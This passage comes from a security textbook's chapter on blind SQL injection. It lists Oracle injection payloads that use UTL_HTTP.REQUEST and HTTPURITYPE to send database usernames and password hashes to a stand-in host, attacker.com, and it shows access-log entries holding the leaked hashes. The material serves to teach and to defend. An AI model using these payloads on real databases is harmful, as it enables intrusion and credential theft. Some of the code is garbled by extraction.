SQL Injection Attacks and Defense - 2009

SELECT * FROM unknowntable
UNION SELECT NULL, NULL, NULL FROM
LENGTH(UTL_HTTP.REQUEST('www.attacker.com/'||username||chr(61)||
password))
Blind SQL Injection Exploitation • Chapter 5 257
Here all usernames and passwords are sent to the attacker’s access log. This channel
can also be used for the split and balance technique (where the original parameter’s value
was aa):
For Oracle 11g only
'a'||CHR(UTL_HTTP.REQUEST('www.attacker.com/'||(SELECT sys.stragg (DISTINCT
username||chr(61)||password||chr(59)) FROM dba_users)))||'a
The preceding code produces the following log entry:
192.168.2.165 - - [14/Jan/2009:21:34:38 +0100] "GET /SYS=
AD24A888FC3B1BE7;SYSTEM= BD3D49AD69E3FA34;DBSNMP=
E066D214D5421CCC;IBO=7A0F2B316C212D67;OUTLN=4A3BA55E08595C81;WMSYS=7C
9BA362F8314299;ORDSYS=7C9BA362F8314299;ORDPLUGINS=88A2B2C183431F00
HTTP/1.1" 404 2336
For Oracle 9i Rel. 2 and higher + XMLB
'a'||CHR(UTL_HTTP.REQUEST('attacker.com/'||(SELECT
xmltransform(sys_xmlagg(sys_xmlgen(username)),xmltype('
;
')).getstringval()
listagg from all_users)))||'a
The preceding code produces the following log entry:
192.168.2.165 - - [14/Jan/2009:22:33:48 +0100] "GET
/SYS;SYSTEM;DBSNMP;IBO;OUTLN;WMSYS;ORDSYS;ORDPLUGINS HTTP/1.1" 404
936
Using URIHTTPTYPE
… UNION SELECT null,null,LENGTH(HTTPURITYPE('http://attacker/'||username||
'='||password).Ggetclob FROM sys.user$ WHERE type#=0 AND
LENGTH(password)=16)
The web server access.log file will contain all usernames and passwords from the
database.